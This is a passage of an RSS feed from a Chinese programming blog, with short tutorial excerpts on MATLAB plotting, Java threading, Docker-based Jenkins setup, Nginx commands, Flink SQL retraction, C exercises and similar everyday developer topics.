是字符串或代表数学函数的符号表达式，只有一个符号变量&#xA;区别：&#xA;plot是绘制二维图形，并且是x，y的表达式是已知的或者是形如y=f(x)这样确切的表达式&#xA;而ezplot是画出隐函数图形，是形如f(x,y)=0这种不能写出像y=f(x)这种函数的图形&#xA;简单来说，两者都是图形绘制函数，所不同的是，plot针对任意变量x和y都可以绘制，而fplot则需要实现定义函数，用function命令定义函数，然后再fplot命令中引用函数的名字。&#xA;fplot(函数表达式,绘 图区间)；&#xA;plot(横坐标向量,纵坐标向量,颜色/线形等参数)&#xA;fplot比如画某个区间内的正弦函数曲线：fplot(&#39;sin(x)&#39;,[0,20/pi])&#xA;plot:在0≤x≤2?区间内，绘制曲线&#xA;y=2e-0.5xcos(4πx)&#xA;程序如下：&#xA;x=0:pi/100:2*pi;&#xA;y=2*exp(-0.5*x).*cos(4*pi*x);&#xA;plot(x,y)</description>
    </item>
    <item>
      <title>新买的阿里云服务器ecs绑定域名无法访问</title>
      <link>https://bchobby.github.io/posts/3a984a88255c77a7e37d8946d2b4f432/</link>
      <pubDate>Fri, 26 Mar 2021 00:17:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a984a88255c77a7e37d8946d2b4f432/</guid>
      <description>最近新买了一台阿里云ecs，搞了个网站，折腾了很久终于发布到服务器上，绑定域名了。本以为终于大功告成了，结果网站死活打不开！&#xA;按经验，打不开网站的常规步骤：&#xA;1、验证本地是否可以打开？在服务器上用域名打不开；再增加一个本地Ip地址，访问正常；说明代码没问题；&#xA;2、ping，通的，说明网络是通的；&#xA;3、靠，那是什么鬼？满脸无语，又乱折腾N个小时~~~~&#xA;无奈之下，最终只能抱着试试看的态度，在阿里云上提交了个工单！2个小时候，终于有回复了！！&#xA;靠！竟然是80端口没有放行！！！阿里云的80端口默认不放行！！！我确信以前的阿里云80端口绝对是默认放行的！！哎，无语。&#xA;接下来放行80端口吧。&#xA;1、ECS实例左下菜单找到 【网络与安全】--- 【 安全组】，点击右上角【创建安全组】&#xA;2、懒人可以点击【快速添加】，&#xA;3、在弹出的页面里，勾选80 （其他常规的端口按需勾选），直接点击【确定】即可。</description>
    </item>
    <item>
      <title>多线程中sleep、yield、join的用法及sleep与wait区别</title>
      <link>https://bchobby.github.io/posts/c2d50812fd004cdce2df5209e97c18cf/</link>
      <pubDate>Thu, 25 Mar 2021 22:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2d50812fd004cdce2df5209e97c18cf/</guid>
      <description>Object中的wait、notify、notifyAll，可以用于线程间的通信，通过这三个方法完成线程在指定锁（监视器）上的等待与唤醒，这三个方法是以锁（监视器）为中心的通信方法&#xA;除了它们之外，还有用于线程调度、控制的方法，他们是sleep、yield、join方法，他们可以用于线程的协作，他们是围绕着线程的调度而来的&#xA;1、sleep方法 在指定的毫秒数内让当前正在执行的线程休眠（暂停执行），但是，该线程不会释放锁。sleep不会释放锁，不会释放锁，不会释放锁，可以理解为他进入监视器这个房间之后，在这房间里面睡着了sleep方法用static修饰，既然是静态方法，在Thread中的惯例就是针对于：当前线程，当前线程，当前线程与wait类似的是，sleep也是可中断方法（从方法签名可以看得出来，其可能抛出InterruptedException），也就是说如果一个线程正在sleep，如果另外的线程将他中断（调用interrupt方法），将会抛出异常，所以对于sleep方法，要么自己醒来，要么被中断后也会醒来。 对于sleep始终有一个超时时间的设置，所以，尽管他是在监视器内睡着了，但是并不会导致死锁，因为他终究是要醒来的。如下，子线程休眠500毫秒，主线程50毫秒打印一次状态，ps：被挂起线程(在该例子中是调用了sleep的线程)的调用结果为：TIMED_WAITING。&#xA;借助于sleep方法，可以模拟线程的顺序执行，比如下面示例，两个阶段，第二个阶段将在第一个阶段执行之后才会执行（哪个线程里使用了Thread.sleep()，则这个线程休眠，比如stepOne这个子线程执行了Thread.sleep(1000),则stepOne这个子线程需要休眠1000ms）&#xA;2、yield方法 对于sleep或者wait方法，他们都将进入特定的状态，伴随着状态的切换，也就意味着等待某些条件的发生，才能够继续，比如条件满足，或者到时间等，但是yield方法不涉及这些事情，他针对的是时间片的划分与调度，所以对开发者来说只是临时让一下，让一下他又不会死，就只是再等等（线程礼让）yield也是静态方法，所以，也是针对于当前线程，当前线程，当前线程。yield方法将会暂停当前正在执行的线程对象，并执行其它线程，他始终都是RUNNABLE状态，不过要注意，yield只是一种建议性的，如果调用了yield方法，对CPU时间片的分配进行了“礼让”，它仍旧有可能继续获得时间片，并且继续执行，所以一次调用yield 并不一定肯定会发生什么&#xA;借助于while循环以及yield方法，可以看得出来，也能一定程度上达到线程排序等待的效果&#xA;3、join方法 3.1 join方法的三个版本 三个版本的join方法&#xA;方法的实现过程，与wait也是非常类似，下面两个版本的方法一个调用join（0）,一个参数校验后，调用join（millis），所以根本还是单参数版本的join方法&#xA;3.2 举例 目的：一个线程，循环5次，每次sleep 1s，然后是主线程中打印信息。&#xA;从结果可以看到，主线程总是在线程执行之后，才会执行，也就是主线程在等待我们创建的这个线程结束，结束了之后才会继续进行：&#xA;如果调整下顺序—&amp;gt;start 与 join的先后顺序，再次看下情况，可以发现顺序没有保障了&#xA;结论：主线程main中调用启动线程的方法（调用start），然后调用该线程的join方法，可以达到主线程等待工作线程运行结束才执行的效果，并且join要在start调用后&#xA;如何做到的？&#xA;从上面源代码可以看得出来，内部调用了wait方法，所以也能明白为啥join也会抛出InterruptedException了吧。主线程main中调用thread.join（）方法，join方法相当于join（0），也就是 while (isAlive()) { wait(0); } 而这个wait（0）就相当于是this.wait（0），this就是我们自己创建的那个线程thread，看看方法的签名是不是有一个synchronized。&#xA;isAlive（）也是this.isAlive（），也就是如果当前线程thread是alive（已经启动，但是未终止），那么将持续等待，等待的临界资源就是我们创建的这个线程对象本身&#xA;所以这两行代码的含义就是：该线程是否还存活？如果存活，调用join的那个线程将会在这个对象上进行等待（进入该线程对象的等待集），也就是说调用一个线程的join方法，就是这个线程在等待，这个线程对象就是我们的锁对象（不要疑惑，Object都可以作为锁，Thread实例对象怎么不可以？）&#xA;肯定大家很奇怪，既然是等待，wait又不会自己醒来，那不是出问题了吗？其实线程结束后，会调用this.notifyAll，所以主线程main会被唤醒&#xA;如果传递的参数不为0，将会走到下面的分支，或wait指定时长，与上面的逻辑一致，只不过是有指定超时时长而已&#xA;long delay = millis - now; if (delay &amp;lt;= 0) { break; } wait(delay); now = System.currentTimeMillis() - base; 手动版本的等待结束&#xA;只是将join方法换成了同步代码块，锁对象为那个线程的实例对象thread，调用他的wait方法，从结果上看，效果一样，（不过此处没有持续监测isAlive（），所以一旦主线程醒来，即使线程没有结束，也会继续，不能百分百确保main肯定等待线程结束）&#xA;不过要注意：注释中有说明，自己不要使用Thread类的实例对象作为锁对象，如果是现在这种场景，使用join即可&#xA;为什么？从我们目前来看，join方法就是以这个对象为锁，如果你自己在使用，又是wait又是notify（notifyAll）的，万一出现什么隐匿的问题咋办？&#xA;所以join方法的原理就是：将指定的Thread实例对象作为锁对象，在其上进行同步，只要那个线程还活着，那么就会持续等待（或者有限时长），线程终止之后会调用自身this.notifyAll，以通知在其上等待的线程。简单说，只要他活着大家就都等着， 他死了会通知，所以效果就是在哪里调用了谁的join，哪里就要等待这个线程结束，才能继续&#xA;为什么要在start之后？&#xA;如上面所示，将join改造成同步代码块如下所示，如果这段同步代码在start方法之前，看下结果，没有等待指定线程结束，main主线程就结束了&#xA;因为如果还没有调用start方法，那么isAlive是false（已开始未结束），主线程根本就不会等待，所以继续执行，然后继续到下面的start，然后主线程结束，所以，为什么join方法一定要在start之前？就是因为这个isAlive方法的校验，你没有start，isAlive就是false，就不会同步等待，所以必须要先start，然后才能join&#xA;3.3 总结 对于join方法，有两个关键：&#xA;调用的哪个对象的join？在哪里调用的？ 换一个说法：</description>
    </item>
    <item>
      <title>unity2019中虚拟按钮的使用</title>
      <link>https://bchobby.github.io/posts/ba51d263ff6cacb6501e1ce7785a3ba9/</link>
      <pubDate>Thu, 25 Mar 2021 21:45:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba51d263ff6cacb6501e1ce7785a3ba9/</guid>
      <description>版本：unity2019.4.12f1，Visual Studio2019&#xA;1.window栏加入Vuforia Engine AR，此时可以正常使用AR相机了。&#xA;2.利用vuforia码，&#xA;建立一个空物体showcube，&#xA;然后在空物体上加入Virtual Button Behaviour（系统自带函数），加入Turn Off Behaviour(系统自带函数）&#xA;接下来是ShowCube设置，即完成显示和不显示cube&#xA;using System.Collections; using System.Collections.Generic; using UnityEngine; using Vuforia; public class ShowCube : MonoBehaviour, IVirtualButtonEventHandler { public GameObject cube; public GameObject sphere; // Use this for initialization void Start() { VirtualButtonBehaviour[] vbs = GetComponentsInChildren&amp;lt;VirtualButtonBehaviour&amp;gt;(); for (int i = 0; i &amp;lt; vbs.Length; i++) { vbs[i].RegisterEventHandler(this); } cube.SetActive(false); sphere.SetActive(false); print(&#34;cube关闭&#34;); } // Update is called once per frame void Update() { } public void OnButtonPressed(VirtualButtonBehaviour vb) { /*switch(vb.</description>
    </item>
    <item>
      <title>stata令相关系数加显著性</title>
      <link>https://bchobby.github.io/posts/38200dcd1b9de11cfe737b1937537e6d/</link>
      <pubDate>Thu, 25 Mar 2021 18:50:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38200dcd1b9de11cfe737b1937537e6d/</guid>
      <description>相关 皮尔逊相关加显著性 pwcorr a1 a2,sig star(0.01)&#xA;为避免多重比较谬误 （multiple comparison fallacy）&#xA;讲多重比较纳入考虑，&#xA;pwcorr y x1 x2 x3 x4,sidak sig star(.05)&#xA;#括号内显著性可自行调整为0.1, 0.05, 0.01&#xA;spearman 等级相关 spearman a1 a2&#xA;kendall cixuxiangguan ktau a1 a2&#xA;协方差 correlation z1 z2 z3 z4,covariance&#xA;回归后键入一下命令估计系数之间的相关矩阵，诊断多元共线性 correlation, _coef covriance&#xA;若要显示系数的方差协方差矩阵 correlation,_coef covriance&#xA;散点图矩阵 graph z1 z2 z3 z4,half msymbol(+) maxis(ylabel(none) xlabel(none))&#xA;删除缺失值 !missing&#xA;做时滞或者提前 做时滞 gen n = _n&#xA;tsset n&#xA;gen lx = L.x&#xA;gen l2x = L2.</description>
    </item>
    <item>
      <title>Python数组转字符串互转详细操作</title>
      <link>https://bchobby.github.io/posts/0d02be5d6fafacd44395b251138df879/</link>
      <pubDate>Thu, 25 Mar 2021 17:25:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d02be5d6fafacd44395b251138df879/</guid>
      <description>比较经常用但感觉大家的博客主要都是介绍用list，而很少用split&#xA;1、数组转字符串 使用join&#xA;nums=[&#34;1&#34;,&#34;2&#34;,&#34;3&#34;,&#34;4&#34;,&#34;5&#34;,&#34;6&#34;] s=&#34;|&#34;.join(nums)&#x9;print(s) #===&amp;gt;s=&#34;1|2|3|4|5|6&#34; “&amp;lt;分隔数组内的内容&amp;gt;”.join(&amp;lt;数组名&amp;gt;)&#xA;返回一个字符串&#xA;但是要注意的是，数组内的内容必须是str类型的！&#xA;2、字符串转数组 使用list(并不推荐)&#xA;s=&#34;1,2,3,4,5&#34; n=list(s) print(n) print(s) #===&amp;gt;n=[&#34;1&#34;,&#34;,&#34;,&#34;2&#34;,&#34;,&#34;,&#34;3&#34;,&#34;,&#34;,&#34;4&#34;,&#34;,&#34;,&#34;5&#34;] #===&amp;gt;s=&#34;1,2,3,4,5&#34; list(&amp;lt;数组名&amp;gt;)&#xA;返回一个数组&#xA;但要注意的是list会把字符串里每个字符串切割成数组内的一个元素&#xA;使用split(推荐使用)&#xA;s=&#34;1,2,3,4,5&#34; n=s.split(&#34;,&#34;) print(n) print(s) #===&amp;gt;n=[&#34;1&#34;,&#34;2&#34;,&#34;3&#34;,&#34;4&#34;,&#34;5&#34;] #===&amp;gt;s=&#34;1,2,3,4,5&#34; &amp;lt;数组名&amp;gt;.split(&amp;lt;切割字符串的标识符&amp;gt;)&#xA;返回一个数组&#xA;要注意的是，如果括号内的标识符在字符串里找不到，那么整个字符串会被分为数组内一个且唯一的元素&#xA;编码不易，有帮助的话点个赞支持一下吧~~~</description>
    </item>
    <item>
      <title>ThinkPHP6.0扩展类库wxBizDataCrypt解密</title>
      <link>https://bchobby.github.io/posts/277862f6634128520ccaf54816942ced/</link>
      <pubDate>Thu, 25 Mar 2021 17:09:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277862f6634128520ccaf54816942ced/</guid>
      <description> 1.去微信官方下载示例包 下载&#xA;2.把php示例复制到extend 下面，新建目录 wxBizDataCrypt 3.在errorCode.php和wxBizDataCrypt.php文件加入命名空间 namespace wxBizDataCrypt; namespace wxBizDataCrypt; class WXBizDataCrypt { private $appid; private $sessionKey; 4、调用 $errCode = new \wxBizDataCrypt\wxBizDataCrypt(APPID,1); </description>
    </item>
    <item>
      <title>0.96寸和2.42寸OLED屏幕滚动初始化设置</title>
      <link>https://bchobby.github.io/posts/8ea836b22d0e3b0f19b65a4f6c2b7da4/</link>
      <pubDate>Thu, 25 Mar 2021 14:35:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ea836b22d0e3b0f19b65a4f6c2b7da4/</guid>
      <description>做项目时需要用到OLED屏幕滚动显示的功能，复制其他博主的代码完成了水平滚动显示的功能。http://www.51hei.com/bbs/dpj-180145-1.html&#xA;但是，2.42寸OLED的滚动显示和0.96寸初始化设置还是有略微的区别的，如果直接复制粘贴，你会发现屏幕只有一小块地方在动。&#xA;网上搜了很久，都是0.96寸的介绍应用，无奈之下自己查阅英文文档，最终解决。&#xA;希望为要使用2.42寸屏幕的朋友提供些许帮助。&#xA;贴上两者的初始化设置代码。&#xA;0.96&#xA;void OLED_Init(void) { GPIO_InitTypeDef GPIO_InitStructure; RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);//使能PORTA~E,PORTG时钟 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10|GPIO_Pin_11|GPIO_Pin_12|GPIO_Pin_13 ; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT;//普通输出模式 GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;//推挽输出 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz;//100MHz GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;//上拉 GPIO_Init(GPIOD, &amp;amp;GPIO_InitStructure);//初始化 OLED_RST_Set(); delay_ms(100); OLED_RST_Clr(); delay_ms(200); OLED_RST_Set(); OLED_WR_Byte(0xAE,OLED_CMD); //关闭显示 OLED_WR_Byte(0xD5,OLED_CMD); //设置时钟分频因子,震荡频率 OLED_WR_Byte(0x80,OLED_CMD); //[3:0],分频因子;[7:4],震荡频率&#x9;OLED_WR_Byte(0xA8,OLED_CMD); //设置驱动路数 OLED_WR_Byte(0X3F,OLED_CMD); //默认0X3F(1/64) OLED_WR_Byte(0xD3,OLED_CMD); //设置显示偏移 OLED_WR_Byte(0X00,OLED_CMD); //默认为0 OLED_WR_Byte(0x40,OLED_CMD); //设置显示开始行 [5:0],行数. //&#x9;OLED_WR_Byte(0x8D,OLED_CMD); //电荷泵设置 OLED_WR_Byte(0x14,OLED_CMD); //bit2，开启/关闭 OLED_WR_Byte(0x20,OLED_CMD); //设置内存地址模式 OLED_WR_Byte(0x02,OLED_CMD); //[1:0],00，列地址模式;01，行地址模式;10,页地址模式;默认10; // OLED_WR_Byte(0xA1,OLED_CMD); //段重定义设置,bit0:0,0-&amp;gt;0;1,0-&amp;gt;127; OLED_WR_Byte(0xc8,OLED_CMD); //(0xC0/0xC8) Set COM Output Scan Direction 行扫描顺序：从上到下 //OLED_WR_Byte(0xC0,OLED_CMD); //设置COM扫描方向;bit3:0,普通模式;1,重定义模式 COM[N-1]-&amp;gt;COM0;N:驱动路数 OLED_WR_Byte(0xDA,OLED_CMD); //设置COM硬件引脚配置 OLED_WR_Byte(0x12,OLED_CMD); //[5:4]配置 OLED_WR_Byte(0x81,OLED_CMD); //对比度设置 OLED_WR_Byte(0xcf,OLED_CMD); //1~255;默认0X7F (亮度设置,越大越亮) OLED_WR_Byte(0xD9,OLED_CMD); //设置预充电周期 OLED_WR_Byte(0xf1,OLED_CMD); //[3:0],PHASE 1;[7:4],PHASE 2; OLED_WR_Byte(0xDB,OLED_CMD); //设置VCOMH 电压倍率 OLED_WR_Byte(0x40,OLED_CMD); //[6:4] 000,0.</description>
    </item>
    <item>
      <title>Java学习笔记（三）Java面向对象编程 -- 详细的Java基础教程系列</title>
      <link>https://bchobby.github.io/posts/16bff38ae7a9ab6544e7fbfde2c3c2a0/</link>
      <pubDate>Thu, 25 Mar 2021 10:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16bff38ae7a9ab6544e7fbfde2c3c2a0/</guid>
      <description>Java 面向对象编程（OOP） 人类思想的方法原则的高深体现：抽象，分类，继承，聚合，多态&#xA;基于java尚硅谷教程的学习笔记，以及自己的一些理解和新知识分享&#xA;文章目录 Java 面向对象编程（OOP）一、前言（一）**面向对象的三大特征**（二）面向对象核心思想 二、Class--类三、Object对象（一）使用对象（二） 对象的生命周期（三）**对象内存解析**（四）对象内存细致解析（五）匿名对象 二、类的成员（一）属性Field（二）方法Method1、 声明格式2、方法分类3、调用方法时的内存调度4、方法重载（overload）5、可变个数的形参6、方法参数的值传递机制7、两道有趣的题目1、貌似是考察方法的参数传递2、微软面试题 8、递归方法（recursion） 三、面向对象特征：封装和隐藏（一）思想（二）四种访问权限修饰符 四、构造器（3W法讲解）（一）what？（二）why？（三）how? 五、关键字this（3W)（一） what？（二）why？（三）how？ 六、关键字：package、import（一）package1、what and how？2、why？ （二）import 一、前言 （一）面向对象的三大特征 封装继承多态 （二）面向对象核心思想 Object–对象和Class–类是面向对象的核心概念&#xA;Class–类是一类事物的抽象定义&#xA;Object–对象是实际存在的该类事物的个体，是类的实例化&#xA;万事万物皆对象&#xA;二、Class–类 Class中的Member（成员）&#xA;属性（Field） = 成员变量方法（Method） = 函数/成员方法 类的语法格式&#xA;修饰符 class 类名{ 属性声明; 方法声明; } 修饰符：缺省,public,private（这个私有类定义只能是内部或者嵌套类） 类的访问机制&#xA;一个类中的访问机制：类中方法直接访问类中成员变量（例外：static方法访问非static，编译不通过）不同类中访问机制：先创建对象，再用对象访问类中定义的成员 三、Object对象 （一）使用对象 Person p1 = new Person(); Person p2 = new Person(); （二） 对象的生命周期 （三）对象内存解析 堆（Heap）：存放对象实例和数组&#xA;栈（Stack）：存储局部变量，对象引用（对象在堆内的首地址），方法执行完自动释放&#xA;方法区（Method Area）：用于存储已经被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据&#xA;（四）对象内存细致解析 （五）匿名对象 不定义对象的句柄，直接调用对象的方法 new person().shout(); 使用情况 一个对象只需要进行一次方法调用将匿名对象作为实参传递给一个方法调用（工程思想） 二、类的成员 （一）属性Field 语法格式</description>
    </item>
    <item>
      <title>[exercises]合并两个有序链表——二级指针在递归中的传参</title>
      <link>https://bchobby.github.io/posts/7164fc8760703f27c1b73b432dad0909/</link>
      <pubDate>Wed, 24 Mar 2021 21:48:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7164fc8760703f27c1b73b432dad0909/</guid>
      <description> 【将两个有序链表合并成一个有序链表】&#xA;发现一个递归的实现，与自己的方法有些差别，借鉴后，修改到自己的代码时，出现了一个问题，使得报“无权限访问错误”，后发现在递归时，为含有二级指针参数的函数赋值时，类型不匹配，但是由于传递的都是地址，造成的传参错误的问题。&#xA;正确代码如下：&#xA;pNode_t MergeLinkRecursion(pNode_t* pHead1, pNode_t* pHead2) { if ((*pHead1) == NULL) { return (*pHead2); } if ((*pHead2) == NULL) { return *pHead1; } if ((*pHead1)-&amp;gt;data &amp;lt; (*pHead2)-&amp;gt;data) { // 传递参数时要注意参数的匹配，尤其是地址；函数参数类型为二级指针，要传一级指针变量的地址 (*pHead1)-&amp;gt;pNext = MergeLinkRecursion((&amp;amp;(*pHead1)-&amp;gt;pNext), pHead2); return *pHead1; } else { (*pHead2)-&amp;gt;pNext = MergeLinkRecursion(pHead1, &amp;amp;((*pHead2)-&amp;gt;pNext)); return *pHead2; } } </description>
    </item>
    <item>
      <title>php 读取 3g大文件,PHP读取大文件的SplFileObject类</title>
      <link>https://bchobby.github.io/posts/64304d8b12c5338aeea90a6a1fefa697/</link>
      <pubDate>Wed, 24 Mar 2021 18:26:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64304d8b12c5338aeea90a6a1fefa697/</guid>
      <description>一般读取文件我们用fopen 或者 file_get_contents ,前者可以循环读取，后者可以一次性读取，但都是将文件内容一次性加载来操作&#xA;如果加载的文件特别大时，如几百M，上G时，这时性能就降下来了，那么PHP里有没有对大文件的处理函数或者类呢？ 答案是：有的。&#xA;PHP真的越来越“面向对象”了，一些原有的基础的SPL方法都开始陆续地实现出class了。&#xA;从 PHP 5.1.0 开始，SPL 库增加了 SplFileObject 与 SplFileInfo 两个标准的文件操作类。SplFileInfo 是从 PHP 5.1.2 开始实现的。&#xA;从字面意思理解看，可以看出 SplFileObject 要比 SplFileInfo 更为强大。&#xA;不错，SplFileInfo 仅用于获取文件的一些属性信息，如文件大小、文件访问时间、文件修改时间、后缀名等值，而 SplFileObject 是继承 SplFileInfo 这些功能的。&#xA;/** 返回文件从X行到Y行的内容(支持php5、php4)&#xA;* @param string $filename 文件名&#xA;* @param int $startLine 开始的行数&#xA;* @param int $endLine 结束的行数&#xA;* @return string&#xA;*/&#xA;function getFileLines($filename, $startLine = 1, $endLine=50, $method=&#39;rb&#39;)&#xA;{&#xA;$content = array();&#xA;$count = $endLine - $startLine;&#xA;// 判断php版本(因为要用到SplFileObject，PHP&amp;gt;=5.</description>
    </item>
    <item>
      <title>Docker安装Jenkins</title>
      <link>https://bchobby.github.io/posts/a4d7565b067d2864b1b92abb7eef4767/</link>
      <pubDate>Wed, 24 Mar 2021 16:58:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4d7565b067d2864b1b92abb7eef4767/</guid>
      <description> 1.拉取镜像： docker pull jenkinsci/blueocean 2.创建容器： docker create --name jenkins -u root -p 8889:8080 --privileged=true -v jenkins-data:/var/jenkins_home -v /var/run/docker.sock:/var/run/docker.sock -v /home/jenkins:/home docker.io/jenkinsci/blueocean 3.启动容器： docker start jenkins 4.输入http://&#34;Yours Server Ip&#34;:8889 </description>
    </item>
    <item>
      <title>Flink SQL中可撤回机制解密</title>
      <link>https://bchobby.github.io/posts/cfb09573562ea1c6b3a81c2469a045b4/</link>
      <pubDate>Wed, 24 Mar 2021 15:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfb09573562ea1c6b3a81c2469a045b4/</guid>
      <description>场景案例 先从一个实际业务场景理解Flink SQL中的撤回机制：设备状态上线/下线数量统计，上游采集设备状态发送到Kafka中，最开始是一个上线状态，此时统计到上线数量+1，过了一段时间该设备下线了，收到的下线的状态，那么此时应该是上线数量-1，下线数量+1，现在需要实现这样一个需求，看一下在Flink SQL里面如何实现&#xA;val env=StreamExecutionEnvironment.getExecutionEnvironment val tabEnv=TableEnvironment.getTableEnvironment(env) tabEnv.registerFunction(&#34;latestTimeUdf&#34;,newLatestTimeUdf()) env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime) val kafkaConfig=newProperties() kafkaConfig.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG,&#34;localhost:9092&#34;) kafkaConfig.put(ConsumerConfig.GROUP_ID_CONFIG,&#34;test1&#34;) val consumer=newFlinkKafkaConsumer011[String](&#34;topic1&#34;,newSimpleStringSchema,kafkaConfig) val ds=env.addSource(consumer) .map(x=&amp;gt;{ val a=x.split(&#34;,&#34;) DevData(a(0),a(1).toInt,a(2).toLong) }).assignTimestampsAndWatermarks(newBoundedOutOfOrdernessTimestampExtractor[DevData](Time.milliseconds(1000)){ overridedef extractTimestamp(element:DevData):Long= element.times }) tabEnv.registerDataStream(&#34;tbl1&#34;,ds,&#39;devId,&#39;status,&#39;times,&#39;rt.rowtime) val dw=tabEnv.sqlQuery( &#34;&#34;&#34; select st,count(*) from ( select latestTimeUdf(status,times) st,devId from tbl1 group by devId ) a group by st &#34;&#34;&#34;.stripMargin) dw.writeToSink(newPaulRetractStreamTableSink) env.execute() 自定义udf获取最新的设备状态&#xA;public class LatestTimeUdf extends AggregateFunction&amp;lt;Integer,TimeAndStatus&amp;gt;{ @OverridepublicTimeAndStatus createAccumulator(){ returnnewTimeAndStatus(); } publicvoid accumulate(TimeAndStatus acc,Integer status,Long time){ if(time &amp;gt; acc.getTimes()){ acc.</description>
    </item>
    <item>
      <title>Nginx 启停方法</title>
      <link>https://bchobby.github.io/posts/8fd81f711c95ad87dbd83e6962c996a8/</link>
      <pubDate>Wed, 24 Mar 2021 15:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fd81f711c95ad87dbd83e6962c996a8/</guid>
      <description>在nginx的安装目录下cmd&#xA;1、启动：&#xA;start nginx；或者 start nginx.exe&#xA;启动后能在任务管理器进程中看到nginx.exe执行进程；&#xA;2、停止：&#xA;nginx -s stop； 快速停止，但是不保存信息；&#xA;nginx -s qiut； 完整停止，并保存信息；&#xA;kill -9 nginx； 无法停止的时候，直接kill(Linux)&#xA;windows直接在任务管理器结束进程；&#xA;3、检查：&#xA;nginx -t ；修改后查看配置信息是否正确，或者存在的问题；&#xA;nginx -v ；查看当前nginx的版本；&#xA;4、重启：&#xA;nginx -s reload ； 重新启动nginx；</description>
    </item>
    <item>
      <title>UnhandledPromiseRejectionWarning: TypeError: Cannot convert object to primitive value</title>
      <link>https://bchobby.github.io/posts/83bf4ff9cc26d5f7b08649b168181987/</link>
      <pubDate>Wed, 24 Mar 2021 14:05:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83bf4ff9cc26d5f7b08649b168181987/</guid>
      <description>UnhandledPromiseRejectionWarning: TypeError: Cannot convert object to primitive value 主要是这个错误，是类型转化的问题，node好像无法接收前端的json对象，所以我们要转化为json的字符串形式。&#xA;如下修改 ：&#xA;使用JSON.stringify()进行类型转换。</description>
    </item>
    <item>
      <title>PotPlayer：当前音频无法播放。DirectX 驱动程序未正确安装或音像设备被禁用的解决办法</title>
      <link>https://bchobby.github.io/posts/1b408fbf7c5caa64dc368f7f9eb85dc2/</link>
      <pubDate>Wed, 24 Mar 2021 12:01:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b408fbf7c5caa64dc368f7f9eb85dc2/</guid>
      <description>被毕业论文搞炸了，就下载个阿凡达放松下，但是PotPlayer播放阿凡达时出现了问题：&#xA;如图：&#xA;表现：视频可以正常播放，但是没有声音。&#xA;原因：系统无法解码DST音频格式，因为DST格式需要解码才有多声道音频信号出来。安装PotPlayer时，勾选了安装额外的解码包，但是因为网络原因（被墙了），没有下载下来，所以没有安装。&#xA;解决办法：&#xA;安装解码器OpenCodecSetup64.exe。&#xA;链接：https://pan.baidu.com/s/1nsSOliv3tbMfFfE6-xx-XQ&#xA;提取码：ix3r&#xA;注意要安装到PotPlayer目录！&#xA;安装好后重启PotPlayer播放器就可以正常播放了！&#xA;2021-07-1817:56:01更新：&#xA;该文件禁止分享。&#xA;需要的可以在网上搜集，或者关注后私聊我。&#xA;2021年10月9日更新： 下载链接：&#xA;https://daumpotplayer.com/wp-content/uploads/2019/06/OpenCodecSetup64.exe</description>
    </item>
    <item>
      <title>统计一行文本的单词个数</title>
      <link>https://bchobby.github.io/posts/52cb7670ea6af8025e6ba0823cc8fbc8/</link>
      <pubDate>Wed, 24 Mar 2021 11:38:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52cb7670ea6af8025e6ba0823cc8fbc8/</guid>
      <description>本文是汇总了几个我认为比较好的方法，并进行了优化，仅供学习参考。&#xA;本题目要求编写程序统计一行字符中单词的个数。所谓“单词”是指连续不含空格的字符串，各单词之间用空格分隔，空格数可以是多个。&#xA;输入格式:&#xA;输入给出一行字符。&#xA;输出格式:&#xA;在一行中输出单词个数。&#xA;输入样例:&#xA;Let&#39;s go to room 209. 输出样例:&#xA;5 思路一：利用scanf的特性（使用%s转换说明，scanf会读取除空白以外的所有字符），可以很简单的完成这题。注意两个问题，一是代码虽然能通过PTA的编译器，但是在实际操作时需要输入EOF才能结束循环得到结果。然而Mac端的EOF操作为command+D，在dubug的时候用才能得到结果，在run时直接用会直接结束程序。二是采用了定长数组，可能空间不足或者浪费。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char ch[100]; int i = 0; while (scanf(&#34;%s&#34;, ch) == 1) { i++; } printf(&#34;%d&#34;, i); return 0; } 思路二：利用题目中“单词”的定义。除了最后一个单词以外，其他单词一定结尾有空格，所以利用一个标志来代表单词，若遇到空格则单词数加一。到最后一个单词，结尾可能有空格也可能没有，但是一定有标志。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int count = 0, flag = 0; char str; str = getchar(); while (str != &#39;\n&#39;) { if (str != &#39; &#39;) //若非空格，标志为1表示单词 flag = 1; if (flag == 1 &amp;amp;&amp;amp; str == &#39; &#39;) //若是空格且标志为1，表示1个单词的末尾，标志重置为0 //若是空格且标志为0，表示出现连续空格 { count++; flag = 0; } str = getchar(); } //判断最后一个单词 //此时若有单词则标志一定为1，若无单词，标志停留在0 if (flag == 1) { count++; } printf(&#34;</description>
    </item>
    <item>
      <title>三款视频下载工具，让你不花钱也有vip的下载速度！</title>
      <link>https://bchobby.github.io/posts/41b1e9a74bdd2e23339d7f5ba8ec1329/</link>
      <pubDate>Wed, 24 Mar 2021 10:43:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41b1e9a74bdd2e23339d7f5ba8ec1329/</guid>
